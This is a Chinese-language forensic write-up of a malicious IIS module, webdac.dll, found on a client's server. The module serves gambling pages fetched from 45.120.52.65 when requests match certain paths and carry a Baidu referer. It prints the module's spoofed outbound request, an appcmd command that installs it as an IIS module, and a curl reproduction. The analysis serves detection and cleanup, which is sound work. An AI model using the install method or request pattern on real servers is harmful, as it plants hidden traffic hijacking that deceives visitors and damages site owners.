某 IIS 恶意劫持流量模块分析

前段时间发现了某客户网站被搜索引擎收录了赌博广告的页面,在授权登录服务器后对网站目录进行彻底排查,当时得出的结论如下:

  1. 未发现网站被植入 Webshell;
  2. 网站目录中也未出现博彩页面;
  3. 由于网站是通过编译后的二进制形式运行的,研究人员通过逆向分析也未发现后门及网站本身被篡改的迹象;
  4. 检查了系统加载的驱动,也未发现使用类似 Easy File Locker 等软件通过加载内核驱动模块的方式隐藏文件。

所以暂时排除了网站本身被植入了恶意代码的问题,但博彩页面存在两个规律:

  1. 所有以“/20”和“/abc”开头的路径,均可以访问到博彩页面,并且 IIS 日志中也记录了状态码 200 的日志;
  2. IIS 上绑定的所有网站都以相同规律存在博彩页面;
  3. IIS 的 URL Rewrite 未配置;
  4. 请求 Referer 包含了“www.baidu.com”就能看到博彩页面,直接访问则是 404 错误;
  5. 在服务器上访问 http://localhost 测试,也能复现博彩页面。

很怀疑问题出在 IIS 服务上,又对 IIS 所有配置彻底排查,还是未发现异常的配置。然后我用 Process Monitor 对服务器一段时间内的网络连接、文件读取、注册表读取等进程行为捕获,发现在构造访问博彩页面的请求时,IIS 会主动向 IP 45.120.52.65 发出 HTTP 请求:

1.png

然后抓包分析,当访问网站某些特殊路径,如以“/20”和“/abc”开头的页面时,IIS 会从 45.120.52.65 上拉取博彩页面,最终呈现给访客的浏览器,如图:

2.png

现在将分析焦点聚集在 IIS 上,使用“火绒剑”分析 IIS 的进程 w3wp.exe,发现加载了一个叫 webdac.dll 的可疑模块,文件位于 C:\Windows\System32\inetsrv\webdac.dll,如图:

3.png

该文件也是最近才创建的,与其他系统文件时间不匹配:

4.png

用 Ghidra 分析 webdac.dll,该模块注册到内存时的模块名叫 fuck32.dat,如图:

5.png

当收到对特定路径开头的 HTTP 请求后,该模块会构造特殊的 HTTP 请求发向 45.120.52.65 来获得博彩页面:

GET /svf20201231cp1DKA/|受害者域名|svf| HTTP/1.1
Accept-Encoding: gzip
CLIENT-IP: 42.*.*.*
User-Agent: YisouSpider
X-IP: 42.*.*.*
X-Real-IP: 42.*.*.*
Host: sx.cmdxb.com
Cache-Control: no-cache

通过以上分析,我将 webdac.dll 拷到虚拟机中,并加载到 IIS 中:

C:\Windows\System32\inetsrv\appcmd.exe install module /name:WebDocModule /image:"C:\webdac.dll" /add:true

然后通过 curl 请求虚拟机来复现:

curl 192.168.56.102/20 -e ‘http://www.baidu.com’

效果如下:

6.png

webdac.dll 的实现很简单,类似是个反向代理,当收到特定请求时才去远程拉恶意广告页面,这种通过加载 IIS 模块的实现方式比较隐蔽,不会在网站目录中留页面文件,还难以被杀毒软件查杀。